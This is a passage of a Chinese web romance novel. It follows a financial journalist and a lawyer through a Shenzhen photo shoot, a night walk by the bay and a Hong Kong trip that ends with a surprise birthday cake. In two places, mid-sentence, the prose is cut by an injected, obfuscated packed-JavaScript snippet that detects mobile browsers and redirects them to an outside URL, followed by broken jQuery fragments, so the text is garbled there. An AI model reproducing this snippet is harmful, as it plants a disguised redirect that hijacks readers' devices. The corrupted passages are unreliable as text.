“你不用抬头,跟着我走。” 艾嘉笙听了,目光一愣,下一秒: 砰砰砰。 砰砰砰。 砰砰砰。 解读出他之所以这么做的意图之后,艾嘉笙只感觉周围所有的嘈杂声音都散去,只能听到自己的心跳声。 砰砰砰。 她终于明白。 ——他是想以一个没办法牵手的身份,领着她往外走。 而这根充电线,就是连接他们双手的线。 领会到这层含义之后,不知为何,艾嘉笙一低头,鼻尖莫名有点泛酸。 ——为他的有心留意,为他的细心呵护,更为他对她的尊重。 出站的人越来越多,两个人便没再做停留,抓紧时间往外走。 谈瀛洲走在她左侧靠前一点点的地方,步速完全迁就着她。 至于艾嘉笙,则老老实实地低头看着手机屏幕,跟着他的脚步。 今天,艾嘉笙穿了一身水蓝色的华夫格休闲套装,脚上搭配一双白色帆布鞋。 这身套装出自一个原创设计师品牌,上身是无袖设计,胸前印着一副童趣插画,上衣左侧开了一个分叉。艾嘉笙很会穿,把衣服前面的布料压在了同色系短裤里,后面则在身后自然垂下,这样一穿,就极具层次感。 她纤瘦白皙的胳膊和双腿裸露在外,这次,她没散着头发,而是将头发扎成了高马尾,打眼看过去,独特又随性。 至于谈瀛洲。 艾嘉笙忍不住偷看他。 他今天穿了一件浅蓝色短袖衬衫,下面配了一条白色休闲裤,没有了西装笔挺的矜贵感,整个人如乔木般清朗。 这次,两个人又极有默契地,穿得很是相似。 因为他的到来,原本痛苦的修罗场,被两个人轻而易举的走完。 走出机场,艾嘉笙看着自己手机屏幕上的那篇公众号文章,发现自己一个字都没有看进去。 - 出了机场,很快,艾嘉笙就和过来接她的司机碰上了面。 看天色已晚,艾嘉笙怕谈瀛洲太折腾,于是看着他说:“你去哪儿?我让司机先送你。” “不用,”谈瀛洲说,“我跟你去一个地方。” “一个地方?” “嗯,我刚忘了跟你说了。” “什么?” “柳老师物尽其用——” “非让我过来给她当男模特。” 7. 我有嘉宾 他话音落地的一瞬,艾嘉笙耳边莫名响起一道歌声。 其实,几年前,艾嘉笙就来过一次深圳,那次过来,是为了听SHE的演唱会。 哪怕现在,这么多年过去,她依然尤为清晰地记得安可环节,全场大合唱《魔力》这首歌的场景。 尤其是到了高潮,台下的观众纷纷举高双手,默契地挥舞着荧光棒,跟随着旋律开始唱: “你是我的魔力, 想要勇敢就想你, 一眨眼睛, 把不如意,都变成流星。” 当时,身为观众,艾嘉笙只是觉得这首歌很好听,也很温暖,不过,并未去深究这些词背后的含义。 但现在,她竟然在多年后的这个夏夜,后知后觉地感受了这句歌词的深意。 有些人的存在,本身就具有一种奇妙的魔力。 就像刚才,听到谈瀛洲说他跟自己是同个目的地,艾嘉笙忽然就感觉这一周,所有工作上的压力和疲惫都在顷刻间消散,心中见缝插针地涌入一阵窃喜。 这份窃喜,迷惑着她,让她忽略了一些事实和细节。 直到坐上车,司机往前面开了一小段路,艾嘉笙才感觉到不对劲,侧过身问:“柳沁老师的工作室不做男装吧?” “是不做,但这次拍摄需要表达一些主题,所以,我过来充当一下背景板,”看出她征询的眼神,谈瀛洲笑了声,问她,“怎么?你好像很介意我过来?” 艾嘉笙连忙否认:“没有。” ——她开心还来不及。 半个小时后,车子抵达酒店。 办理过入住,两个人便乘电梯上了楼。 从电梯出来,穿过一条长长的走廊,先到了谈瀛洲的房间,艾嘉笙看了眼他的房间号,朝他摆摆手,说:“那明天见。” 谈瀛洲本来还想带她出去走走,但想起她刚才在飞机上的状态,知道她应该挺累的了,于是没再多说:“嗯,明天见。” “晚安。” “晚安。” - 翌日,两个人并没有一起出发,因为拍摄是在下午进行,但上午艾嘉笙约了一个采访。 她那次争取的采访机会,并不是柳沁,而是柳沁的一个得意门生,名叫胡君生。 作为新生代最具代表性的服装设计师,胡君生这个名字可谓是无人不晓,他设计的作品,既深得柳沁的美学精髓,但又有自己独特的理解和创新。 过去几年,他用自己的设计作品,让国风之美走向世界。 今年,他又在国内开启季度性参展,迄今为止,《春蚕》《夏涌》系列已经全面问世,收获好评如潮。 商业化和艺术性完美融合的背后,是他对东方美学的深刻洞察与了解。 因此,不少人对他的人生经历很是好奇,但胡君生为人低调,鲜少接受媒体采访。 这次,艾嘉笙好不容易得到了这个机会,自然做足了功课,以东方美学打开话题,进行了一场深入访谈。 谈瀛洲是在下午的时候才又见到了艾嘉笙。 为了这次拍摄,胡君生的团队在酒店周围搭建了一个景,布景简约现代,服饰却古典优雅,力图借此塑造出一种过去和现在的冲撞感。 下午,谈瀛洲换好衣服进来的时候,艾嘉笙正在盘发。 她坐在椅子上,身穿一件淡青色旗袍,素净白花从裙摆处蜿蜒而上,最后停在绯薄的肩头。 旗袍两侧的开衩沿着腿线延展开来,一阵风拂过,飘逸裙摆轻拂脚面,清灵又生动。 他打量的功夫,艾嘉笙身后的妆发人员已经替她盘好发,正要替她挑选簪子。 从这个角度,谈瀛洲只能看到她的侧脸,银白色的流苏耳坠贴着她脸侧垂下,她垂眸,看着桌面上的簪子,唇边笑意温柔清浅。 谈瀛洲看着,目光忽然愣了愣。 想起打架子鼓时的她,与现在,真是截然不同。 可都是她。 不管什么样的她,都是真实的她。 胡君生见谈瀛洲看得眼睛都快直了,走到他身边,语气戏谑地笑了声,善意提醒:“想近水楼台先得月,就得霸道点儿。” 谈瀛洲:“嗯?” 胡君生往等会儿拍摄的地方挑了挑眉:“等会儿让摄像师安排几个亲密动作,岂不事半功倍?” 谈瀛洲听了,笑了声,拒绝了他的提议:“万万不可心急。” 话音刚落,艾嘉笙似乎有预感,径直朝门口望了过来。 她仰头,他垂眸。 两个人的目光,隔着人群,精准无误地撞上。 看清楚那个人就是谈瀛洲的那一刻,艾嘉笙同刚才的他一样,也是眸光一滞。 他站在那里,一身飞行员装扮,肩章闪耀,长身直立。 这身装扮很适合他,衬得他身形修长挺括,雅人深致,风度翩翩。 为符合拍摄调性,他鼻梁上还架了一副金丝边眼镜,被阳光一晃,似镀上了一层细碎的金光,映出他轮廓深邃的眉眼,模样肆意又英俊。 艾嘉笙坐在那里,看着他在所有人的注视中,一步步地朝她走近。 每一次脚步声,都仿佛敲在她心头,奏出强有力的回响。 胡君生看着这一幕,轻啧一声。 这俩人要是单独站那儿吧,你还真的很难凭空想象,谁跟他们搭在一起才合适。 但两个人一块往那儿一站,你便知道,什么才叫无可替代的最佳搭档。 不肖片刻,谈瀛洲走至她的身边,他目光微垂,看着面前的发簪。 忽然,就挺不想把这活儿拱手让人。 于是,对上她的眼睛,嗓音温柔地问: “喜欢哪个?” “我给你戴。” - 这晚,艾嘉笙失眠了。 下午拍摄时的一幕幕,不受控制地浮现在眼前,虽然没有任何亲密动作,但她觉得,单凭他一个眼神,都能让人心口发涨。 尤其是初见,他是在她没有任何准备的情况下径直撞上来的,形成的视觉效果太过惊艳。 就像是电影里的经典片段,在她脑海中一幕又一幕的重演,怎么也落不了幕。 多次入睡无果之后,艾嘉笙直接从床上坐了起来,打开了阳台的推拉门。 窗外不知何时起了风,比开着空调要舒服得多。 她看着前方美不胜收的夜景,刚想伸开手拥抱一下风,突然,一个门开的声音从耳朵右侧响起,艾嘉笙侧眸看过去的时候,从房间里走出来的那个人也朝这边看了过来。 谈瀛洲看到她,似乎并不惊讶,自然而然地走到离她最近的地方,问她:“怎么还没睡?” “我......”艾嘉笙顿了下,如实道,“我睡不着。” 谈瀛洲听了,轻轻笑了一声:“巧了,我也是。” 艾嘉笙看着他,刚刚才被风吹得有些平静的心情莫名又燥热了起来。 谈瀛洲看了眼她身上的睡衣,很果断地说:“去换身衣服,我带你去个地方。” 艾嘉笙没有任何犹豫,就应了一声好。 晚上十点,两个人从希尔顿南海酒店出发。 酒店有车可以接送,但谈瀛洲没坐,也没跟她商量,直接选择了地铁这一交通工具。 两个人在蛇口港上车,搭乘8号线,盐田路方向,最后在登良站下车。 从地铁站出来,谈瀛洲预测了一下距离,侧身问她:“离要去的地方还有一公里,走过去可以吗?” 艾嘉笙:“可以。” 深圳这座城市很年轻也很漂亮,艾嘉笙非常喜欢。 此时十点过半,无边夜幕早已降临,但路旁的高楼大厦都亮着光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230449|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚间的风轻轻拂过,带来一阵惬意的凉爽,并捎来几缕清香。 这缕香气,有些来自路旁的花,有些来自他。 他刚才应该也洗过澡,身上有着和她同样的香气,艾嘉笙走在他身旁,看着他平直宽阔的背,说不清为何,莫名心动。 两个人沿着登良路一路向北,艾嘉笙跟着他的步伐,忽然叫了声:“谈瀛洲。” “嗯?” “我好像知道你要带我去哪儿了。” 他听了,在她耳边低低笑了声:“知道就跟上。” 果不其然,如艾嘉笙所想的那样,谈瀛洲带她来的,是深圳人才公园。这公园的名字听起来缺少了点儿诗情画意,但景色却丝毫不输。 这里,面朝深圳湾,背倚层层高楼,有着绝佳角度,可以欣赏最美的深圳夜景。 此刻,天色已经完完全全的暗了下来,对面的高楼大厦都亮着光,组合在一起,抬眼看过去,美不胜收。 十点半的深圳湾,人依然不少,有人在散步,有人在骑车,还有人手拿一把吉他在弹唱。 艾嘉笙看到,有些调皮地拽了拽谈瀛洲的衣角,看着他,目光狡黠地问:“你要不要上去弹一首?” 谈瀛洲看着她,眼里盛着宠溺,无可奈何地说:“别闹。” “我不随便弹吉他。” 艾嘉笙:“什么?” 谈瀛洲:“没事。” 微凉的晚风里,两个人并肩而行,不知不觉间,便走到了波光粼粼的π桥。 π桥,顾名思义,就是这座桥由亮起的数字π组合而成,白天看上去平平无奇,等到夜晚,灯光亮起,风景就格外迷人眼。 走到中间,两个人默契地停下脚步,撑在栏杆上,看着波光粼粼的海,海的对面就是香港。 这晚的一切都是那么恰到好处。 恰到好处的风,恰到好处的景,恰到好处的音乐声。 他们在这片音乐声里,盛着晚风,沐着夜景,聊起了一些无关紧要的事。 但偏偏是这些无关紧要的事,让他们进一步走进了对方的内心。 回去的时候,艾嘉笙提议道:“我们做公交回去吧。” 她有一个爱好,特别喜欢坐公交车看城市的夜景。 谈瀛洲自然应了她。 这个点的公交车上,没有那么多人,安静得很。 两个人在后排的座位上坐下。 很快,车门关闭,车子往前运行,绚烂的霓虹在车窗外后退,留下几缕残影。 艾嘉笙本来还看得兴致勃勃,直到后来,或许是真的累极了,不知不觉间,身子往左一倾,毛茸茸的发便枕上了他的肩。 感觉到肩膀传过来一个下沉的重量,谈瀛洲心却陡然一提,整个人像个毛头小子一样,瞬间正襟危坐了起来。 过了好久,他才慢慢放松自己的肩颈曲线。 但这放松不过一秒钟的时间,对面车道上忽然斜来一束远光灯,他又赶忙抬手遮住她的眼睛。 本来只是想遮住眼睛,可奈何他手掌太大,她脸又太小,竟然遮住了她的整张脸。 那一刻,谈瀛洲清晰地感受到,她温热的呼吸轻轻拂过他掌心。 挠的人心痒。 她睡了多久,他就心痒了多久。 直到车子驶过三站,上来了几个动静比较大的年轻人,他肩上的人才陡然转醒。 醒来的时候,恰逢一阵风从窗户吹过,她的几缕长发,顺着风,吹到了他脸上。 见状—— 艾嘉笙惊慌失措,用双手去抓她的发。 谈瀛洲饶有兴致,用目光去抓她的手。 他的眼神从来都极具存在感,让她忽视不得。 于是,她只顾着用目光迎战。 以至于,柔软的指腹,没控制好力道,径直戳上了他的脸。 8. 我有嘉宾 两人对视间,车身也在流淌的夜色中缓缓向前。 但他们所在的位置,却像是一个一动不动的定点。 窗外肆意流动的光影,如电影中专门布好的光线,打在他身上,恰到好处地照亮他利落分明的五官。 这会儿他穿的休闲,最简单的白色T恤,额前碎发垂落在前,衬得一双眼睛漆黑明亮。 艾嘉笙觉得,他的少年感一点都不输祝鲸海,即使他比他年长好几岁。 但这只是他的一面。 艾嘉笙见过他穿西装的时候,那又是另一种模样,自带生人勿近的气场,专业精准,清冷矜贵。 初见时的吉他少年,更是将这两者完美融合。 艾嘉笙越看越觉得,这男人,真的很戳她的xp。 于是,情难自禁,看着他这张脸,眉眼一弯,忍不住笑出了声。 清清灵灵的,格外好听。 看她笑,谈瀛洲也不由得跟着她笑,叫她名字的时候,眼里的宠溺,昭然若揭:“艾嘉笙。” 人估计本能就贪恋触感柔软的事物,也因此,艾嘉笙丝毫不自知自己此时的逾距,指腹依然戳着他的脸颊,抬眸的时候,看着他,眼里也都是天真的茫然:“啊?” 谈瀛洲眉眼微垂,看着她的手,嗓音含笑地问:“摸着手感怎么样?” 顺着他视线的运动轨迹往下,在工作中临场反应绝对满分的优秀财经记者艾嘉笙,在此刻,终于后知后觉自己的逾距,有些慌张地收回了手。 可能是职业病作祟,收回手的时候,她还没忘记回答他的问题:“挺好的。” 谈瀛洲:“......” 看他没说话,艾嘉笙亡羊补牢地解释:“不好意思,我不是故意的。” 谈瀛洲被她的说辞逗笑:“所以呢?” “所以——”艾嘉笙抬眸,借着漏进来的月光打量他的脸。 夜色是个好东西,掩盖胆怯,催生勇敢。 艾嘉笙看着他,想起胡君生今天对她说的一件事,莫名生出了一种勇气。 她轻抿了下唇,看着他,直截了当地问:“我能再得寸进尺一点吗?” 谈瀛洲听了,目光微怔。 看他沉默,艾嘉笙怕好不容易鼓起的勇气被吹散,抓紧心里的勇敢,叫他:“谈瀛洲。” 他目光落在她翕动的唇上:“嗯?” 艾嘉笙看着他的眼睛,空咽了下喉咙,一鼓作气地问:“你带港澳通行证了吗?” 虽然不知道她为什么突然这么问,谈瀛洲还是老老实实地答:“带了。” “怎么了?” “我明天想去香港买点东西,你有时间和我一起去吗?”艾嘉笙解释道,“我想买的东西有点多,怕自己拿不过来。” 没想到会是这么个简单的请求,谈瀛洲听了,唇角弯了弯,说:“有。” ——没有也得有。 听到他说有,艾嘉笙放下了心:“那我们就这么说定了。” 谈瀛洲:“嗯。” 到达酒店,两个人在走廊上互道过晚安,便进了各自的房间。 可,怎么道了晚安。 却这么难安。 刚才澎湃了一路的心绪久久得不到平静,因此,艾嘉笙再一次入睡失败。 正准备起床写稿子的时候,手机响了一声,打开一看是林蔷。 林蔷:【图片.jpg】 林蔷:【卧槽!热评上的这个背影怎么这么像你!】 艾嘉笙打开她发来的那张照片,一看是一张截图。 微博上有人发起了一个话题,叫#令人心动的照片#。 宽敞明亮的地铁车厢,照片中的两个人穿着大同小异的白色衣服,身形线条优越,侧脸弧度完美,看向对方的眼神,不自觉含情。 艾嘉笙看了一眼,瞬间明白这个照片拍摄于何时何地。 她这人有个癖好,到了一个新的城市,非常喜欢观察这座城市的站名,觉得站名彰显着一座城市最独特的底蕴和气质。 因此,虽然刚才地铁上有座位,但两个人都没有坐,而是扶着栏杆,站在那里,一起看着上面闪烁的地名,一边看一边聊天。 图片下,附着博主的说明:【坐标深圳,刚在地铁上拍摄的,呜呜呜男帅女美,感觉应该是在暧昧期,没有任何亲密动作,但男人的眼神都没从她身上离开过,甜的能拉丝,我磕了一路。】 【啊啊啊暧昧期才是绝绝子!】 【谢姐妹,今晚的小说就带入这张图了。】 【好有青春校园的感觉啊。】 【虽然不认识,但本资深磕学家觉得能磕!】 艾嘉笙看了眼,给林蔷发微信:【应该就是我......】 刚发过去,林蔷那边跟无缝衔接一样,视频通话立刻就打了过来,等她这边接通后,便迫不及待地问:“你旁边那个男的是谁?” 艾嘉笙:“你不认识。” 林蔷:“......” 我要是认识我还问你? “你说了我不就认识了。” “我不说。” “我本来还以为是周时勉呢,一看不像。” “怎么可能......”话说一半,艾嘉笙声音倏地止住。 因为她看到,林蔷的视频画面里,突然出现了一个男人。 略显荒凉的背景里,他微躬着腰,姿态闲散地坐在蓝色的遮阳伞下,气质慵懒随性,但又觉得莫名不好惹。 “你背后那个男的是谁?”刚问出口,艾嘉笙声音忽然一顿,整个人也连带着紧张起来,正准备说放低声音用暗号问林蔷用不用报警的时候,就听到她来了句:“我在驾校,他是我的新教练。” 艾嘉笙:“......” 现在的驾校教练,长相都这么卷了吗? “他妈的我天不怕地不怕,就这个破驾照,我算是考不下来了!”林蔷这个驾校钉子户一说起考驾照这件事就来气,“老娘的一世英名都砸在这破本子上了。” “这都几点了,你们还在练车?” “白天那么热,不想来。” “......” “对了,”确认她安全之后,艾嘉笙没再多问,“我明天去香港,你有没有什么要我带的。” “有!”林蔷如数家珍地说了一番。 说完,挂了电话,林蔷没有立刻熄灭手机,而是打开那张图,又看了看。 越看越觉得,照片中的这个男人好像在哪儿见过。 但她就是想不起来。 于是,也没了练车的心情,朝坐在遮阳伞下的教练挥了挥手,自己给自己下了课:“今天不练了,明儿见。” 结果,离开的步伐还没潇洒两步,身后就传来冷漠的一声:“回来。” “——再倒一遍。” 林蔷:“?” - 翌日早晨,谈瀛洲一打开手机,就被铺天盖地的信息轰炸。 他花费了一些时间,才把这些消息一一回复过去。 两个人买的是晚上回京的机票,所以还有一天的时间可以待在一起。 昨天拍摄完毕的时候,谈瀛洲还烦恼,以什么样的理由邀约,不会显得太刻意,结果没想到天降馅饼。 一切收拾妥当之后,两个人在走廊上碰到了面。 去往过关口岸的路上,艾嘉笙问他:“昨天太晚忘记问你了,你有没有特别想去的地方?” 谈瀛洲看着她说:“不是说好了,陪你逛街么。” 艾嘉笙:“那你今天都得听我的。” 谈瀛洲:“求之不得。” 虽然线上支付已经在香港做到了差不多全覆盖,但以防万一,艾嘉笙还是在过关的地方,换了一些港币,除此之外,还买了两张八达通。 跟工作人员说完自己的需求,艾嘉笙正要去拿钱包,结果,看到一双手先于她把钱递了过去。 “请你过来已经很不好意思了,”她把他的手推回去,把自己的钱包递给工作人员,“所以今天我请客。” 谈瀛洲听了,很果断地拒绝:“不可能。” 她在开什么玩笑。 “好吧,既然你不答应,”艾嘉笙无奈摊手,“那我就先回去了。” 说完,利落地转身就走。 谈瀛洲:“......” 这一刻,他脑海里蓦地生出一个念头:他将来一定被她拿捏得死死的。 没办法,朝着那个身影,来了句:“答应。” 艾嘉笙听了,脚步一顿,当着他的面,笑容满面地来了个流畅转身。 谈瀛洲:“......” 过了关,艾嘉笙又问他:“你想做港铁还是巴士?” “看你,我都行。” “那做巴士吧,可以看看外面的景色。” “好。” 上了车,两个人在后排找了个靠窗的位置坐下。 受到台风影响,香港这几天的气温一点都不热,反倒很是适宜。 翠绿青山和蔚蓝天穹交相辉映着,连绵成一副天然的油墨画,他们并肩而坐,看着窗外的画在视线中一路后退。 谈瀛洲说到做到,这一天的安排,都由艾嘉笙说了算。 两个人在旺角下了车,在翠华餐厅吃了一顿早午餐,然后,便去往了铜锣湾。 黄昏时分,他们做缆车,登上了太平山顶,将整座城市的美景尽收眼底。 夜幕降临时,他们做星港小轮,去了中环。 到达中环之后,艾嘉笙带着他,来到了一家餐厅。 港式风格的装修,处处可见岁月的沉淀感,餐厅中央,还有歌手背着吉他在演唱,是极具代表性的港乐。 两个人在预订好的位置落座之后,没有什么分歧,很快便点好了餐。 穿着工作服的“间谍”服务员拿着菜单走的时候,看了眼谈瀛洲,然后,朝艾嘉笙递了一个“不错哦”的眼神。 艾嘉笙怕漏出破绽,用眼神示意她赶紧消失。 这家的出餐速度还算快的。 两首歌的功夫,餐已经开始慢慢往上上。 快吃完的时候,看到歌手从台上下来,艾嘉笙忽然提议:“你要不要上去唱一首?” 谈瀛洲抬眸,看了她一眼:“你想听?” 艾嘉笙:“嗯。” 一是她真的想听,二是她有别的计划,需要让两个人暂时分开。 “行,那就唱给你听,”谈瀛洲笑着,无条件答应,“想听什么?” “我都说了算一天了,这次你说的算。” 他低低笑了下,起身朝台上走。 今天,他穿了一件绸缎质感的衬衫,餐厅的光线随着他的动作,明明灭灭。 再加上那个身段,真的是成熟男人,一举一动都勾人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230450|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很。 沟通过之后,谈瀛洲便拿过了吉他,在高脚凳上坐下,一切如初见时那样。 不同的是,这次,他终于可以直视她的眼睛。 这次,他没像上次那样直接上高潮,而是轻轻缓缓的开始唱: “赠你一吻或许容易 唯独你是那么特殊 令我鞭策自己,反省几多次 艰苦也要为你坚持” 他唱的,是粤语。 粤语,天生多情。 经由他口,酿成钟意。 听到一半,艾嘉笙才不得不离场。 虽然看不到他,但他的声音一直萦绕在她耳边。 将一切准备就绪时,这首歌正好唱到高潮: “只知道是时候拿着鲜花 将心爱预留在盟誓之下 共你漫游在天边看着低洼 光阴已变做美好年华” “身份也是时候期待变化 恩准我用承诺除掉牵挂” 艾嘉笙站在后台,听得动情,不由得沉溺其中。 很快,歌曲落幕,谈瀛洲放下吉他,看着那个空荡荡的席位,正想去找人。 结果,刚走下台,就听到一个熟悉的声音叫住了他。 谈瀛洲也没想到,会在这里遇到他在英国读书时的朋友。 来人是典型的欧美长相,微卷头发,肤色白皙。 昔日老友在相隔几千公里的地方偶遇,不免要聊几句。 朋友问他,这次过来香港,就为了过个周末? 结果,weekend刚说出口,没有任何预兆的,餐厅的灯忽然全灭了。 想到艾嘉笙可能置身于黑暗中,谈瀛洲心里倏地一紧,来不及回答朋友的问题,就要去找她。 结果,刚迈出一步,眼前就出现了一抹亮光。 他着急寻找的女孩,此刻正抱着一个蛋糕,站在不远处,看着他笑。 时间拨回到昨天。 昨天,采访完毕,胡君生忽然邀艾嘉笙去了楼下的便利店,买了几个鱼丸,和一碗速食的车仔面,然后,没一点艺术家要注意形象的自觉,蹲在马路牙子上,一边吸溜面一边云淡风轻地说:“每次看到这个便利店,我都会想到谈瀛洲。” “啊?”艾嘉笙听了,一脸茫然地问,“为什么?” 胡君生是柳沁最得意的门生,而谈瀛洲又与成弘关系甚笃,所以大家都以为他们两个人关系甚笃是因为柳沁和成弘这一层关系。 但其实,在英国读书时,两个人就是很好的朋友。 所以,胡君生一点都不介意自己,为朋友当一次神助攻。 尤其是昨天拍照的时候,他作为军师,给他指点迷津。 但那人是真的不开窍,一点捷径都不舍得走。 胡君生心里那个着急啊,于是,就想了个法子。 当然,这法子能成行,也得益于天时地利人和。 胡君生坐在马路边,看着那个便利店,在艾嘉笙面前,状似无意地提起:“因为那个数字。” 艾嘉笙抬眸看着对面的7-11便利店:“嗯?” 胡君生:“是他的生日。” 而昨天,恰好是7月10日。 - 谈瀛洲是在之后才知道,胡君生这人多有心机。 明明就是亲人不在一个城市所以不方便一起过,结果胡君生把他形容得那叫一个可怜,整个一爹不疼妈不爱。 虽然之后,谈瀛洲对他的这种行为表达了强烈鄙视。 可在当下,谈瀛洲看着朝自己走过来的这个身影,心中只有动容。 身为一名主攻公司法和国际经济法的非诉律师,工作过程中少不了谈判,所以他的逻辑思维能力毋庸置疑。 但他没想到,他竟然在她身上,犯了这么大的一个疏漏。 她昨晚闪躲却勇敢的眼神,她今天看起来并不繁重的购物任务,以及,胡君生今天早上发过来那条信息量十足的微信,所有他忽略的细节,瞬间在他脑海中串联成线。 微风吹动她的衣角。 她站在烛光中,抱着一个蛋糕,眉眼盈盈地看着他笑。 那一刻,谈瀛洲心里就一个感觉。 ——这辈子活得真值。 想起刚才灯灭前,身边友人朋友问他的那个问题:“Just for the weekend?” 谈瀛洲看着为他而来的她,淡淡一笑,否定了老友的话:“No.” 说完,声音一顿,看着艾嘉笙的眼睛,郑重其事地说出自己的答案:“Just for the moment.” 艾嘉笙抱着蛋糕走到他身边的这一路,听到的就是这样一则对话。 明明她是准备惊喜的人,应该平静、稳重、万事了然于胸。 可她却觉得,自己才是那个收获了最大惊喜的人。 “Just for the weekend?” “No.” “Just for the moment.” 重逢之时,老友问他:“你大老远跑来香港,就为了过个周末?” 他看着她的眼睛,语气笃定地否定:“不是。” “我来,只为了这一刻。” 只为了这一刻。 她朝我走来的这一刻—— [光阴已变做美好年华。] 9. 我有嘉宾 惊喜揭开,刚才熄灭的灯盏也渐次亮了起来。 她站在那里,肩上落了一层薄薄的光,望过来的眼神里,此刻全是他。 袭袭凉风穿堂而过,她身处其中,眉间似笼着夜雾,有一种人间烟火的美丽,引得人频频打量。 谈瀛洲目光落在她身上,看着她一步步地走到自己面前,很认真地对他道了句: “生日快乐。” 她手中的那个大蛋糕,被切成小块,供所有见证者分享。 两个人在原来的座位落座的时候,刚才下台的那个歌手,重新上了台,为他唱了一首粤语版的生日快乐歌。 轻扬欢乐的音符瞬间溢满整座餐厅。 艾嘉笙听着歌,忽然叫了他一声:“谈律师。” 谈瀛洲听到,低低一笑,纠正她:“你又不是我客户,叫我名字。” “谈瀛洲。” “嗯。” 艾嘉笙看着他,目光真诚地问:“你觉得音乐存在的意义是什么?” 谈瀛洲听了,不答反问:“你觉得是什么?” 艾嘉笙想了想,下了个可可爱爱的结论:“是疲惫生活的健胃消食片吧。” 谈瀛洲饶有兴致地追问:“怎么讲?” “我认识一个师姐,写词写的特别好,”艾嘉笙娓娓道来一件往事,”曾经有一段时间,我觉得日子很难熬,当时就是听了她写的歌,一天天坚持下来的,只不过......” “只不过什么?”谈瀛洲问。 “只不过——”她语气有些涩然地说,“她现在不写了。” 听出她话里满满的遗憾,谈瀛洲看着她,问了句:“她叫什么名字?” “她是非常非常小众的一个词作,”艾嘉笙轻轻摇头,“你肯定没听说过。” 说完,目光轻抬,把刚才没得到解答的问题又问了他一遍:“对了,你还没回答我,你觉得音乐存在的意义是什么?” 看她如此执着于这个问题,谈瀛洲认认真真地思考了一番。 过了会儿,艾嘉笙终于在悠扬的乐声里,听到了他低声说出的答案: “如果非要在人类世界寻找一个能够打破隔阂的沟通方式,音乐是我能想到的唯一选择。” 音乐是人心的一面镜子。 照出人类共有的喜怒哀乐和人间烟火。 - 吃过饭,两个人便马不停蹄地赶去了机场。 昨天听艾嘉笙说今天要来香港之后,谈瀛洲便把机票改成了从香港起飞的。 宽敞明亮的机场大厅,有人停泊,有人远航。 巨大的落地窗外,数不清的飞机落了又起,亮起的尾灯,与地面上的万家灯火交相辉映。 如谈瀛洲没想到会在餐厅遇到旧友一样,艾嘉笙也没想到会在候机的时候遇到旧友。 当时,她和谈瀛洲已经过了安检,就快要走到登机口的时候,身后忽然传来一道微微上扬的:“嘉笙?” 听到有人在叫自己,艾嘉笙闻声回眸。 看到一个男人,一身商务装扮,气质干练精明。 认出来人后,艾嘉笙目光顿了顿,等他走到自己身边之后,才叫了声:“邵勋?” “我还以为自己看错了,”邵勋看着她笑,“好久不见。” “好久不见。” “这位是......?”邵勋将目光转向她旁边站着的那个男人。 “这是我朋友。” 察觉出艾嘉笙遇到他并没有那么开心,谈瀛洲也没有对眼前这个男人表现得太过热情,点头示意了下,然后将目光转向艾嘉笙:“你们先聊,我去那边等你。” 说这话时,他用手掌轻轻拍了拍她的肩,动作温柔又克制,无声宣告主权,却又丝毫不逾矩。 等他走后,邵勋问:“你怎么来香港了?” “过来买点东西。” “以后你需要什么,直接跟我说,我给你邮寄过去。” 艾嘉笙当然不会找他帮这个忙,但她不想在这个问题上纠缠太久,模棱两可地回了句:“知道了。” “听说你现在在做财经记者,”邵勋问她,“怎么想起去做这个了?” 艾嘉笙淡淡笑了下,不想解释太多,言简意赅地答:“有才任性。” “想重回老本行么,不管是风投、证券、还是银行,我都可以帮你。” “不用了,我现在工作挺好的,也祝你一切都好。” “嘉笙......” “我朋友还在等我,”艾嘉笙打断他的话,“我先过去了。” 谈瀛洲刚才之所以离开,是因为他感觉到艾嘉笙不太想让他在场,但他也没走的太远。 所以,他几乎听到了他们的对话,不过他什么都没有问。 很快,两个人随着人群排队登机。 香港到北京向来是一条热门航线,尤其是今天还是周日晚上,所以上座率很高。 经过一系列准备工作之后,飞机准点起飞,慢慢爬升至巡航高度。 谈瀛洲是昨晚连夜定的票,只有经济舱可选,舒适度自然就要低一些。 再加上机舱里有小孩,所以这个夜晚并不算安静。 但他还是止不住汹涌而来的困意,倚着靠背,睡着了。 ——他昨晚加班到了凌晨。 艾嘉笙倒是没有丝毫困意,看着他近在咫尺的睡颜,心思忽然就放得特别软。 他坐在靠窗的位置,舷窗外是漆黑的夜幕,组合在一起,静美的像一幅画。 艾嘉笙趁着他睡着,肆无忌惮地用目光在他身上耍流氓。 直到舷窗外闪过另一架飞机的尾灯,她才后知后觉地反应过来,自己沉迷美色已经太久。 不合适不合适。 即使人家睡着了,你这种行为也不合适。 想到这里,艾嘉笙终于收回目光。 然后,打开自己的手机,找到已经下载好的视频,开始看。 她看的是自己最喜欢的动画,一集动画,也就十来分钟的时间,艾嘉笙看完一集,正准备切换下一集的时候,耳边突然隔着耳机,响起一声:“喜欢看小猪佩奇?” 艾嘉笙一听,摘下耳机,侧过身,看着不知道何时醒来的谈瀛洲,一脸惊讶地问:“你竟然认识她?” 谈瀛洲看着她的小表情,有些无奈地答:“我没那么落伍。” 说完,看着她,语气像哄小孩一样地问:“喜欢小猪佩奇?” 艾嘉笙乖乖点头:“嗯。” “喜欢她什么?” 